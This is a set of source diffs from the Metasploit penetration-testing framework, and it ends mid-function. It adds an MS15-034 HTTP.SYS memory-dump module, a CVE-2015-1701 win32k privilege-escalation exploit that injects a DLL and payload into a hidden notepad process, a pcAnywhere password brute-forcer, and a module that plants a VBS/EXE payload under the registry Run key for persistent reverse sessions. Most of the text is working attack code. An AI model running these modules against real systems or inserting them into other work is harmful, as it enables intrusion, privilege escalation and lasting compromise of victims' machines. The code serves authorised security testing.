'-ph' => [ true, 'Proxy host for http(s) transports (optional)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
'-pp' => [ true, 'Proxy port for http(s) transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
'-pu' => [ true, 'Proxy username for http(s) transports (optional)' ], '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
'-ps' => [ true, 'Proxy password for http(s) transports (optional)' ], '-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ],
'-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ], '-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ],
'-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ],
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
'-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ],
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
@ -561,13 +562,14 @@ class Console::CommandDispatcher::Core
# Display help for transport management. # Display help for transport management.
# #
def cmd_transport_help def cmd_transport_help
print_line('Usage: transport <list|change|add|next|prev> [options]') print_line('Usage: transport <list|change|add|next|prev|remove> [options]')
print_line print_line
print_line(' list: list the currently active transports.') print_line(' list: list the currently active transports.')
print_line(' add: add a new transport to the transport list.') print_line(' add: add a new transport to the transport list.')
print_line(' change: same as add, but changes directly to the added entry.') print_line(' change: same as add, but changes directly to the added entry.')
print_line(' next: jump to the next transport in the list (no options).') print_line(' next: jump to the next transport in the list (no options).')
print_line(' prev: jump to the previous transport in the list (no options).') print_line(' prev: jump to the previous transport in the list (no options).')
print_line(' remove: remove an existing, non-active transport.')
print_line(@@transport_opts.usage) print_line(@@transport_opts.usage)
end end
@ -581,7 +583,7 @@ class Console::CommandDispatcher::Core
end end
command = args.shift command = args.shift
unless ['list', 'add', 'change', 'prev', 'next'].include?(command) unless ['list', 'add', 'change', 'prev', 'next', 'remove'].include?(command)
cmd_transport_help cmd_transport_help
return return
end end
@ -591,6 +593,7 @@ class Console::CommandDispatcher::Core
:transport => nil, :transport => nil,
:lhost => nil, :lhost => nil,
:lport => nil, :lport => nil,
:uri => nil,
:ua => nil, :ua => nil,
:proxy_host => nil, :proxy_host => nil,
:proxy_port => nil, :proxy_port => nil,
@ -610,6 +613,8 @@ class Console::CommandDispatcher::Core
case opt case opt
when '-c' when '-c'
opts[:cert] = val opts[:cert] = val
when '-u'
opts[:uri] = val
when '-ph' when '-ph'
opts[:proxy_host] = val opts[:proxy_host] = val
when '-pp' when '-pp'
@ -733,6 +738,18 @@ class Console::CommandDispatcher::Core
else else
print_error("Failed to add transport, please check the parameters") print_error("Failed to add transport, please check the parameters")
end end
when 'remove'
if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil?
print_error("HTTP/S transport specified without session URI")
return
end
print_status("Removing transport ...")
if client.core.transport_remove(opts)
print_good("Successfully removed #{opts[:transport]} transport.")
else
print_error("Failed to remove transport, please check the parameters")
end
end end
end end
@ -818,6 +835,9 @@ class Console::CommandDispatcher::Core
print_status("Migration completed successfully.") print_status("Migration completed successfully.")
# Update session info (we may have a new username)
client.update_session_info
unless existing_relays.empty? unless existing_relays.empty?
print_status("Recreating TCP relay(s)...") print_status("Recreating TCP relay(s)...")
existing_relays.each do |r| existing_relays.each do |r|

View File

@ -61,8 +61,8 @@ Gem::Specification.new do |spec|
# Things that would normally be part of the database model, but which # Things that would normally be part of the database model, but which
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 1.0' spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
# Needed for Meterpreter on Windows, soon others. # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.2' spec.add_runtime_dependency 'metasploit-payloads', '1.0.3'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler # Needed by anemone crawler

View File

@ -0,0 +1,219 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',
'Description' => %q{
Dumps memory contents using a crafted Range header. Affects only
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
is running in VMware Workstation, this module has a high likelihood
of resulting in BSOD; however, VMware ESX and non-virtualized hosts
seem stable. Using a larger target file should result in more memory
being dumped, and SSL seems to produce more data as well.
},
'Author' =>
[
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module
'sinn3r' # Some more Metasploit stuff
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1635'],
['MSB', 'MS15-034'],
['URL', 'http://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']
]
))
register_options([
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
], self.class)
deregister_options('VHOST')
end
def potential_static_files_uris
uri = normalize_uri(target_uri.path)
return [uri] unless uri[-1, 1] == '/'
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]
res = send_request_raw('uri' => uri)
return uris unless res
site_uri = URI.parse(full_uri)
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
page.xpath('//link|//script|//style|//img').each do |tag|
%w(href src).each do |attribute|
attr_value = tag[attribute]
next unless attr_value && !attr_value.empty?
uri = site_uri.merge(URI.encode(attr_value.strip))
next unless uri.host == vhost || uri.host == rhost
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
end
end
uris.uniq
end
def check_host(ip)
upper_range = 0xFFFFFFFFFFFFFFFF
potential_static_files_uris.each do |potential_uri|
uri = normalize_uri(potential_uri)
res = send_request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
)
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
if res && res.body.include?('Requested Range Not Satisfiable')
vprint_status("#{vmessage} - Vulnerable")
# Save the file that we want to use for the information leak
target_uri.path = uri
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
def dump(data)
# clear out the returned resource
if datastore['SUPPRESS_REQUEST']
dump_start = data.index('HTTP/1.1 200 OK')
if dump_start
data[0..dump_start-1] = ''
else
print_error("Memory dump start position not found, dumping all data instead")
end
end
print_line
print_good("Memory contents:")
print_line(Rex::Text.to_hex_dump(data))
end
# Needed to allow the vulnerable uri to be shared between the #check and #dos
def target_uri
@target_uri ||= super
end
def get_file_size
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw('uri' => uri)
unless res
vprint_error("#{peer} - Connection timed out")
return file_size
end
if res.code == 404
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.headers['Content-Length'].to_i
vprint_status("#{peer} - File length: #{file_size} bytes")
return file_size
}.call
end
def calc_ranges(content_length)
ranges = "bytes=3-18446744073709551615"
range_step = 100
for range_start in (1..content_length).step(range_step) do
range_end = range_start + range_step - 1
range_end = content_length if range_end > content_length
ranges << ",#{range_start}-#{range_end}"
end
ranges
end
def run_host(ip)
begin
unless check_host(ip)
print_error("Target is not vulnerable")
return
else
print_good("Target may be vulnerable...")
end
content_length = get_file_size
ranges = calc_ranges(content_length)
uri = normalize_uri(target_uri.path)
cli = Rex::Proto::Http::Client.new(
ip,
rport,
{},
datastore['SSL'],
datastore['SSLVersion'],
nil,
datastore['USERNAME'],
datastore['PASSWORD']
)
cli.connect
req = cli.request_raw(
'uri' => target_uri.path,
'method' => 'GET',
'headers' => {
'Range' => ranges
}
)
cli.send_request(req)
print_good("Stand by...")
resp = cli.read_response
if resp
dump(resp.to_s)
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
print_status("Memory dump saved to #{loot_path}")
else
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect")
return
rescue ::Timeout::Error, ::Errno::EPIPE
print_error("Timeout receiving from socket")
return
ensure
cli.close if cli
end
end
end

View File

@ -39,31 +39,29 @@ class Metasploit3 < Msf::Auxiliary
each_user_pass do |user, pass| each_user_pass do |user, pass|
next if user.blank? or pass.blank? next if user.blank? or pass.blank?
print_status "Trying #{user}:#{pass}" print_status("Trying #{user}:#{pass}")
result = do_login(user, pass) result = do_login(user, pass)
case result case result
when :success when :success
print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}" print_good("#{ip}:#{rport} Login Successful #{user}:#{pass}")
report_auth_info( report_cred(
:host => rhost, ip: rhost,
:port => datastore['RPORT'], port: datastore['RPORT'],
:sname => 'pcanywhere_data', service_name: 'pcanywhere',
:user => user, user: user,
:pass => pass, password: pass
:source_type => "user_supplied",
:active => true
) )
return if datastore['STOP_ON_SUCCESS'] return if datastore['STOP_ON_SUCCESS']
print_status "Waiting to Re-Negotiate Connection (this may take a minute)..." print_status('Waiting to Re-Negotiate Connection (this may take a minute)...')
select(nil, nil, nil, 40) select(nil, nil, nil, 40)
connect connect
hsr = pca_handshake(ip) hsr = pca_handshake(ip)
return if hsr == :handshake_failed return if hsr == :handshake_failed
when :fail when :fail
print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}" print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}")
when :reset when :reset
print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}" print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}")
print_status "Connection Reset Attempting to reconnect in 1 second" print_status('Connection reset attempting to reconnect in 1 second')
select(nil, nil, nil, 1) select(nil, nil, nil, 1)
connect connect
hsr = pca_handshake(ip) hsr = pca_handshake(ip)
@ -73,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary
end end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user, pass, nsock=self.sock) def do_login(user, pass, nsock=self.sock)
# Check if we are already at a logon prompt # Check if we are already at a logon prompt
res = nsock.get_once(-1,5) res = nsock.get_once(-1,5)
@ -87,18 +111,18 @@ class Metasploit3 < Msf::Auxiliary
end end
# Check if we are now at the password prompt # Check if we are now at the password prompt
unless res and res.include? "Enter password" unless res and res.include? 'Enter password'
print_error "Problem Sending Login: #{res.inspect}" print_error("Problem Sending Login: #{res.inspect}")
return :abort return :abort
end end
epass = encryption_header(encrypt(pass)) epass = encryption_header(encrypt(pass))
nsock.put(epass) nsock.put(epass)
res = nsock.get_once(-1,20) res = nsock.get_once(-1,20)
if res.include? "Login unsuccessful" if res.include? 'Login unsuccessful'
disconnect() disconnect()
return :reset return :reset
elsif res.include? "Invalid login" elsif res.include? 'Invalid login'
return :fail return :fail
else else
disconnect() disconnect()
@ -107,38 +131,38 @@ class Metasploit3 < Msf::Auxiliary
end end
def pca_handshake(ip, nsock=self.sock) def pca_handshake(ip, nsock=self.sock)
print_status "Handshaking with the pcAnywhere service" print_status('Handshaking with the pcAnywhere service')
nsock.put("\x00\x00\x00\x00") nsock.put("\x00\x00\x00\x00")
res = nsock.get_once(-1,5) res = nsock.get_once(-1,5)
unless res and res.include? "Please press <Enter>" unless res and res.include? 'Please press <Enter>'
print_error "Handshake(1) failed on Host #{ip} aborting. (Error: #{res.inspect} )" print_error("Handshake(1) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed return :handshake_failed
end end
nsock.put("\x6F\x06\xff") nsock.put("\x6F\x06\xff")
res = nsock.get_once(-1,5) res = nsock.get_once(-1,5)
unless res and res.include? "\x78\x02\x1b\x61" unless res and res.include? "\x78\x02\x1b\x61"
print_error "Handshake(2) failed on Host #{ip} aborting. (Error: #{res.inspect} )" print_error("Handshake(2) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed return :handshake_failed
end end
nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00") nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00")
res = nsock.get_once(-1,5) res = nsock.get_once(-1,5)
unless res and res == "\x1b\x62\x00\x02\x00\x00\x00" unless res and res == "\x1b\x62\x00\x02\x00\x00\x00"
print_error "Handshake(3) failed on Host #{ip} aborting. (Error: #{res.inspect} )" print_error("Handshake(3) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed return :handshake_failed
end end
nsock.put("\x6f\x62\x01\x02\x00\x00\x00") nsock.put("\x6f\x62\x01\x02\x00\x00\x00")
res = nsock.get_once(-1,5) res = nsock.get_once(-1,5)
unless res and res.include? "\x00\x7D\x08" unless res and res.include? "\x00\x7D\x08"
print_error "Handshake(4) failed on Host #{ip} aborting. (Error: #{res.inspect} )" print_error("Handshake(4) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed return :handshake_failed
end end
res = nsock.get_once(-1,5) unless pca_at_login?(res) res = nsock.get_once(-1,5) unless pca_at_login?(res)
unless pca_at_login?(res) unless pca_at_login?(res)
print_error "Handshake(5) failed on Host #{ip} aborting. (Error: #{res.inspect} )" print_error("Handshake(5) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed return :handshake_failed
end end
end end

View File

@ -55,10 +55,13 @@ class Metasploit3 < Msf::Auxiliary
stuff = decode_info(response) stuff = decode_info(response)
when 'status' when 'status'
stuff = decode_status(response) stuff = decode_status(response)
else
stuff = {}
end end
if datastore['VERBOSE'] if datastore['VERBOSE']
stuff.inspect # get everything
stuff
else else
# try to get the host name, game name and version # try to get the host name, game name and version
stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) } stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) }
@ -68,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
def scanner_process(response, src_host, src_port) def scanner_process(response, src_host, src_port)
stuff = decode_stuff(response) stuff = decode_stuff(response)
return unless stuff return unless stuff
@results[src_host] ||= [] @results[src_host] ||= {}
print_good("#{src_host}:#{src_port} found '#{stuff}'") print_good("#{src_host}:#{src_port} found '#{stuff}'")
@results[src_host] << stuff @results[src_host].merge!(stuff)
end end
def scanner_postscan(_batch) def scanner_postscan(_batch)
@ -81,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
proto: 'udp', proto: 'udp',
port: rport, port: rport,
name: 'Quake', name: 'Quake',
info: stuff info: stuff.inspect
) )
end end
end end

View File

@ -281,8 +281,9 @@ protected
begin begin
# Generate a permutation saving the ECX, ESP, and user defined registers # Generate a permutation saving the ECX, ESP, and user defined registers
loop_inst.generate(block_generator_register_blacklist, nil, state.badchars) loop_inst.generate(block_generator_register_blacklist, nil, state.badchars)
rescue EncodingError => e rescue RuntimeError, EncodingError => e
raise EncodingError # The Rex::Poly block generator can raise RuntimeError variants
raise EncodingError, e.to_s
end end
end end

View File

@ -0,0 +1,144 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows ClientCopyImage Win32k Exploit',
'Description' => %q{
This module exploits improper object handling in the win32k.sys kernel mode driver.
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
Windows 2008 R2 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves', # msf module
'Spencer McIntyre' # msf module
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-1701'],
['MSB', 'MS15-051'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
],
'DisclosureDate' => 'May 12 2015',
'DefaultTarget' => 0
}))
end
def check
# Windows XP SP3 (32-bit) 5.1.2600.6514 (Works)
# Windows Server 2003 Standard SP2 (32-bit) 5.2.3790.5445 (Works)
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
# Windows 7 SP1 (64-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (64-bit) 6.1.7601.17535 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.18388 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
if sysinfo['OS'] !~ /windows/i
return Exploit::CheckCode::Unknown
end
if sysinfo['Architecture'] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo['Architecture'] =~ /x86/i
arch = ARCH_X86
end
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
return Exploit::CheckCode::Safe if build > 7601
return Exploit::CheckCode::Detected
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2015-1701.x86.dll'
else
dll_file_name = 'cve-2015-1701.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -11,77 +11,143 @@ require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry' require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe' require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Post::Common include Msf::Post::Common
include Msf::Post::File include Msf::Post::File
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry include Msf::Post::Windows::Registry
include Exploit::EXE include Msf::Exploit::EXE
def initialize(info={}) def initialize(info = {})
super( update_info( info, super(update_info(info,
'Name' => 'Windows Manage Persistent Payload Installer', 'Name' => 'Windows Persistent Registry Startup Payload Installer',
'Description' => %q{ 'Description' => %q{
This Module will create a boot persistent reverse Meterpreter session by This module will install a payload that is executed during boot.
installing on the target host the payload as a script that will be executed It will be executed either at user logon or system startup via the registry
at user logon or system startup depending on privilege and selected startup value in "CurrentVersion\Run" (depending on privilege and selected method).
method.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Carlos Perez <carlos_perez[at]darkoperator.com>' 'Carlos Perez <carlos_perez[at]darkoperator.com>',
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
], ],
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ], 'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ], 'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate'=> "Oct 19 2011" 'DisclosureDate' => "Oct 19 2011",
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
}
)) ))
register_options( register_options([
[ OptInt.new('DELAY',
OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]), [true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptEnum.new('STARTUP',
OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), OptString.new('VBS_NAME',
OptString.new('PATH',[false, 'Path to write payload']), [false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
OptString.new('EXE_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('REG_NAME',
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
OptString.new('PATH',
[false, 'Path to write payload (%TEMP% by default).', nil])
], self.class)
register_advanced_options([
OptBool.new('HANDLER',
[false, 'Start an exploit/multi/handler job to receive the connection', false]),
OptBool.new('EXEC_AFTER',
[false, 'Execute persistent script after installing.', false])
], self.class) ], self.class)
end end
# Exploit Method for when exploit command is issued # Exploit method for when exploit command is issued
def exploit def exploit
print_status("Running module against #{sysinfo['Computer']}") # Define default values
rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
rexename = datastore['REXENAME'] rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
startup = datastore['STARTUP'].downcase
delay = datastore['DELAY'] delay = datastore['DELAY']
reg_val = datastore['REG_NAME'] exec_after = datastore['EXEC_AFTER']
handler = datastore['HANDLER']
@clean_up_rc = "" @clean_up_rc = ""
host,port = session.session_host, session.session_port
exe = generate_payload_exe rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs'
script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe'
script_on_target = write_script_to_target(script, rexename)
# exit the module because we failed to write the file on the target host. # Connect to the session
return unless script_on_target begin
host = session.session_host
# Initial execution of script print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue => e
case datastore['STARTUP'] print_error("Could not connect to session: #{e}")
when 'USER' return nil
# if we could not write the entry in the registy we exit the module.
return unless write_to_reg("HKCU", script_on_target, reg_val)
when 'SYSTEM'
# if we could not write the entry in the registy we exit the module.
return unless write_to_reg("HKLM", script_on_target, reg_val)
end end
# Check values
if is_system? && startup == 'user'
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
end
if handler && !datastore['DisablePayloadHandler']
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
print_warning("Disabling HANDLER...")
handler = false
end
# Generate the exe payload
vprint_status("Generating EXE payload (#{rexe_name})")
exe = generate_payload_exe
# Generate the vbs payload
vprint_status("Generating VBS persistent script (#{rvbs_name})")
vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name})
# Writing the payload to target
vprint_status("Writing payload inside the VBS script on the target")
script_on_target = write_script_to_target(vbsscript, rvbs_name)
# Exit the module because we failed to write the file on the target host
# Feedback has already been given to the user, via the function.
return unless script_on_target
# Initial execution of persistent script
case startup
when 'user'
# If we could not write the entry in the registy we exit the module.
return unless write_to_reg("HKCU", script_on_target, reg_val)
vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
when 'system'
# If we could not write the entry in the registy we exit the module.
return unless write_to_reg("HKLM", script_on_target, reg_val)
vprint_status("Payload will execute at the next SYSTEM startup")
else
print_error("Something went wrong. Invalid STARTUP method: #{startup}")
return nil
end
# Do we setup a exploit/multi/handler job?
if handler
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
if listener_job_id.blank?
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
end
end
# Do we execute the VBS script afterwards?
target_exec(script_on_target) if exec_after
# Create 'clean up' resource file
clean_rc = log_file() clean_rc = log_file()
file_local_write(clean_rc, @clean_up_rc) file_local_write(clean_rc, @clean_up_rc)
print_status("Cleanup Meterpreter RC File: #{clean_rc}") print_status("Clean up Meterpreter RC file: #{clean_rc}")
report_note(:host => host, report_note(:host => host,
:type => "host.persistance.cleanup", :type => "host.persistance.cleanup",
@ -98,9 +164,145 @@ class Metasploit3 < Msf::Exploit::Local
) )
end end
# Writes script to target host and returns the pathname of the target file or nil if the
# file could not be written.
def write_script_to_target(vbs, name)
filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
filepath = temppath + "\\" + filename
unless directory?(temppath)
print_error("#{temppath} does not exists on the target")
return nil
end
if file?(filepath)
print_warning("#{filepath} already exists on the target. Deleting...")
begin
file_rm(filepath)
print_good("Deleted #{filepath}")
rescue
print_error("Unable to delete file!")
return nil
end
end
begin
write_file(filepath, vbs)
print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")
# Escape windows pathname separators.
@clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
rescue
print_error("Could not write the payload on the target")
# Return nil since we could not write the file on the target
filepath = nil
end
filepath
end
# Installs payload in to the registry HKLM or HKCU
def write_to_reg(key, script_on_target, registry_value)
regsuccess = true
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing as #{key_path}\\#{nam}")
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
else
print_error("Failed to make entry in the registry for persistence")
regsuccess = false
end
regsuccess
end
# Executes script on target and returns true if it was successfully started
def target_exec(script_on_target)
execsuccess = true
print_status("Executing script #{script_on_target}")
# Lets give the target a few seconds to catch up...
Rex.sleep(3)
# Error handling for process.execute() can throw a RequestError in send_request.
begin
unless datastore['EXE::Custom']
cmd_exec("wscript \"#{script_on_target}\"")
else
cmd_exec("cscript \"#{script_on_target}\"")
end
rescue
print_error("Failed to execute payload on target")
execsuccess = false
end
execsuccess
end
# Starts a exploit/multi/handler session
def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit/multi/handler')
unless check_for_listener(lhost, lport)
# Set options for module
mh = client.framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore)
mh.datastore['WORKSPACE'] = client.workspace
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['EXITFUNC'] = 'thread'
mh.datastore['ExitOnSession'] = true
# Validate module options
mh.options.validate(mh.datastore)
# Execute showing output
mh.exploit_simple(
